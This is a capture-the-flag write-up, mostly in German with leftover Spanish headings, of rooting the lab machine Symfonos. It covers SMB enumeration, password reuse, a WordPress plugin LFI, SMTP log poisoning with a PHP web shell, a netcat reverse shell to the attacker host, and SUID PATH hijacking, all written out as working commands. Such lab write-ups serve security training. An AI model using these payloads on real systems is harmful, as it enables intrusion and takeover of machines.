Ir al contenido

OPERATION SYMFONOS: VON SMB ZU PATH HIJACKING - Team Portelcore

Ziel: Gesamte Übernahme (Root) der Zielmaschine Symfonos. Endvektor: Path Hijacking (Privilege Escalation). Ziel-IP: 172.20.0.142 Status...

0Lesungen

Ziel: Vollständige Übernahme (Root) der Zielmaschine Symfonos. Finaler Vektor: Path Hijacking (Privilege Escalation). Target-IP: 172.20.0.142 Status: 🚩 ROOT ERHALTEN & FLAG ERFASST

PHASE 1: INITIALZUGRIFF (ENUMERATION & EXPLOITATION)

Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»

Bevor wir Path Hijacking in Erwägung ziehen konnten, mussten wir eine initiale Shell erlangen. Wir haben mit einer umfassenden Netzwerk-Reconnaissance-Phase begonnen, um die Angriffsfläche zu identifizieren.

Wir haben ein eigenes Automatisierungsskript (auto_scan_ip_nmap_Supreme.sh) ausgeführt, um einen Tiefenscan des Ziels 172.20.0.142 durchzuführen.

Ausgeführter Befehl:

Ventana de terminal
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scan

Unterliegender Nmap-Befehl: Das Skript hat den folgenden Nmap-Befehl ausgeführt, um maximalen Detailgrad zu erhalten:

Ventana de terminal
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142

SCAN-ERGEBNISSE (Ports und Dienste):

Wir haben die folgenden kritischen, exponierten Dienste identifiziert:

PortStatusDienstVersion / Details
22/tcpOffensshOpenSSH (Debian)
25/tcpOffensmtpPostfix smtpd (Debian/GNU)
80/tcpOffenhttpApache httpd 2.4.25 ((Debian))
139/tcpOffennetbios-ssnSamba smbd 3.X - 4.X (Workgroup: WORKGROUP)
445/tcpOffennetbios-ssnSamba smbd 4.5.16-Debian (Workgroup: WORKGROUP)

Anfängliche taktische Analyse:

  1. SMB (139/445): Samba 4.5.16 ist eine veraltete Version. Dies wird unser primärer Einstiegspunkt sein.
  2. HTTP (80): Apache-Server. Falls der SMB-Einstieg fehlschlägt, werden wir nach Webverzeichnissen oder Schwachstellen in der Anwendung suchen.
  3. SMTP (25): Postfix. Dies könnte für die Benutzerenumeration oder Log Poisoning-Techniken nützlich sein.

Die Nmap-Skripte (smb-enum-*) haben entscheidende Erkenntnisse über die Konfiguration des Samba-Dienstes geliefert:

Schlüsselergebnisse:

  1. Benutzer: Die Existenz des Benutzers helios in der Domäne SYMFONOS wurde bestätigt.
  2. Ressourcen (Shares):
    • anonymous: Lese-/Schreibzugriff (READ/WRITE) für Gäste (guest).
    • helios: Persönliche Ressource des Benutzers helios.
    • IPC$: IPC-Dienst.
  3. Exponierte Inhalte: Die Ressource anonymous enthält eine Datei namens attention.txt.
  4. Sicherheit: Die Nachrichtenunterzeichnung (Message Signing) ist deaktiviert (disabled), was Relay-Angriffe ermöglichen könnte, obwohl dies in diesem Fall nicht notwendig ist.

Rohdaten (Nmap):

| smb-enum-domains:
| SYMFONOS
| Users: helios
...
| smb-ls: Volume \\172.20.0.142\anonymous
| SIZE TIME FILENAME
| <DIR> 2019-06-29T01:14:49 .
| <DIR> 2019-06-29T01:12:15 ..
| 154 2019-06-29T01:14:49 attention.txt
...
| smb-enum-shares:
| \\172.20.0.142\anonymous:
| Type: STYPE_DISKTREE
| Path: C:\usr\share\samba\anonymous
| Anonymous access: READ/WRITE
...
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00

1.1 SMB-Enumerierung (Das schwächste Glied)

Sección titulada «1.1 Enumeración de SMB (El Eslabón Débil)»

Mit dem klaren Fokus auf das SMB-Protokoll, das bei unsachgemäßer Konfiguration oft anonymen oder Null-Zugriff ermöglicht, werden wir nun die verfügbaren Freigaben auflisten.

Taktische Anweisung:

# Listar recursos (-L) sin contraseña (-N)
smbclient -L //172.20.0.142 -N

GESAMMELTE BEWEISE:

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)

Intelligence-Analyse:

  • anonymous: Zugängliche Ressource. Unser vorrangiger Einstiegspunkt.
  • helios: Dies verrät uns einen gültigen Benutzernamen des Systems (helios). Dies wird später unser Ziel für Brute-Force-Angriffe oder die Wiederverwendung von Passwörtern sein.

Wir werden uns mit der Ressource anonymous verbinden, um deren Inhalt zu inspizieren und alle relevanten Daten zu exfiltrieren.

Exfiltrationsreihenfolge:

smbclient //172.20.0.142/anonymous -N
smb: \> get attention.txt
smb: \> exit

EVIDENZ DER EXFILTRATION:

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
smb: \> exit

Inhaltsanalyse (cat attention.txt):

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

NEUE GEWINNTE INFORMATIONEN:

  1. Neuer identifizierter Benutzer: zeus (Wahrscheinlicher Administrator oder privilegierter Benutzer).
  2. Liste der gefilterten Passwörter (Wörterbuch):
    • epidioko
    • qwerty
    • baseball

1.3 Credential Spraying & Bestätigter Zugriff

Sección titulada «1.3 Credential Spraying & Acceso Confirmado»

Wir werden die extrahierten Anmeldedaten gegen den Benutzer helios im SMB-Dienst testen.

Fehlgeschlagener Versuch (Passwort: helios):

smbclient //172.20.0.142/helios -U helios
Password for [WORKGROUP\helios]:
session setup failed: NT_STATUS_LOGON_FAILURE

Erfolgreicher Versuch (Passwort: qwerty):

smbclient //172.20.0.142/helios -U helios
# Password: qwerty

ERFOLGSBEWEIS:

smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019

Situationsanalyse:

  • Zugriff gesichert: Das Passwort qwerty ist gültig für helios über SMB.
  • Neue Ziele: research.txt und todo.txt. Diese Dateien enthalten häufig versteckte Webserver-Pfade („Security through obscurity“).

Schritt 1: Wir werden die Informationen herunterladen

Sección titulada «Paso 1: Descargaremos la Inteligencia»

Von der SMB-Sitzung von helios aus werden wir die gefundenen Dateien exfiltrieren.

smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)

cat research.txt:

Helios (auch Helius) war der Sonnengott in der griechischen Mythologie… (Allgemeine Information, nicht relevant).

cat todo.txt:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

Punkt 3 offenbart einen versteckten Verzeichnispfad auf dem Webserver: /h3l105.

Wir werden wpscan ausführen, um Angriffsvektoren auf die entdeckte WordPress-Website zu identifizieren:

Ausgeführter Befehl:

wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate p
  • WordPress-Version: 5.2.2.
  • Plugins: Durch passive Methoden nicht erkannt.
  • Korrekturmaßnahme: Manuelle Suche nach gängigen Plugins für Symfonos (site-editor, mail-manning).

Wir werden bestätigen, dass das Plugin site-editor installiert ist und anfällig für LFI ist.

Exploitation-URL (Payload): http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Ausgabebeweis:

root:x:0:0:root:/root:/bin/bash
...
helios:x:1000:1000:,,,:/home/helios:/bin/bash
{"success":true,"data":{"output":[]}}

Status: LFI-Schwachstelle bestätigt. Arbiträres Lesen von Dateien aktiv.

1.6 SMTP Log Poisoning zu RCE (Der Angriff)

Sección titulada «1.6 SMTP Log Poisoning a RCE (El Asalto)»

1. Poisoning (Vergiftung) - BEREITS DURCHGEFÜHRT: Wir werden <?php system($_GET['cmd']); ?> in /var/mail/helios via Telnet injizieren.

2. Ausführung von Befehlen (Trigger): Wir werden das vergiftete Log aufrufen, indem wir die LFI-Schwachstelle des site-editor-Plugins ausnutzen.

Detonations-URL: .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

Beweis für RCE: Der Server wird den Inhalt der E-Mail zurückgeben, einschließlich des Ergebnisses der Ausführung des Befehls id am Ende:

From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026
Return-Path: <attacker@symfonos.localdomain>
...
Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...
{"success":true,"data":{"output":[]}}

Status: RCE BESTÄTIGT. Wir haben Codeausführung als Benutzer helios.

3. Reverse Shell (Endgültiger Zugriff): Vom Browser aus werden wir die umgekehrte Shell auf unseren Kali-Computer ausführen:

&cmd=nc -e /bin/bash 172.20.0.165 4444

Nachweis der erhaltenen Shell:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086

PHASE 2: PRIVILEGIENERWEITERUNG (PATH HIJACKING)

Sección titulada «FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)»

Sobald die Shell als Benutzer helios erhalten wurde, werden wir mit der Enumeration des Systems auf der Suche nach verwundbaren SUID-Binärdateien fortfahren.

Wir werden nach Binärdateien mit aktiviertem SUID-Bit suchen, die „seltsam“ oder benutzerdefiniert erscheinen.

Ausgeführter Befehl:

find / -perm -4000 -type f 2>/dev/null

Gesammelte Beweise:

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck <-- ¡SOSPECHOSO!
/bin/mount
/bin/umount
/bin/su
/bin/ping

Taktische Analyse: Der Binär /opt/statuscheck ist kein Standard-Linux-Binär. Sein Standort in /opt und sein Name deuten darauf hin, dass es sich um ein benutzerdefiniertes Skript oder Programm handelt. Es ist unser Hauptziel.

Wir werden untersuchen, was die verdächtige Binärdatei macht.

Befehl: strings /opt/statuscheck

Gesammelte Beweise:

Ventana de terminal
...
curl -I H
http://lH
ocalhostH
...

Endgültige Diagnose: Der Binär ruft den Befehl curl ohne Angabe des absoluten Pfads auf (d.h. er verwendet curl anstelle von /usr/bin/curl). Dies bestätigt, dass er anfällig für Path Hijacking ist.

2.3 Exploit-Ausführung (Schritt für Schritt)

Sección titulada «2.3 Ejecución del Exploit (Paso a Paso)»

Angenommen, dass die Binärdatei curl ohne absoluten Pfad ausführt, werden wir mit dem Angriff fortfahren:

1. Vorbereitung der Payload: Wir werden ein schädliches Skript namens curl erstellen, das eine Shell aufruft.

Ventana de terminal
cd /tmp
echo "/bin/sh" > curl
chmod +x curl

2. Entführung des PATH: Wir werden die Umgebungsvariable ändern, damit das System zuerst in /tmp sucht.

export PATH=/tmp:$PATH

3. Auslösen: Wir werden den SUID-Binär ausführen. Wenn curl aufgerufen wird, wird das System unser Skript mit Root-Rechten ausführen (geerbt von SUID).

/opt/statuscheck

Abschlussbeweis (ROOT):

whoami
root

Reihenfolge: cat /root/proof.txt

((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ())))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!

ENDE DES BERICHTS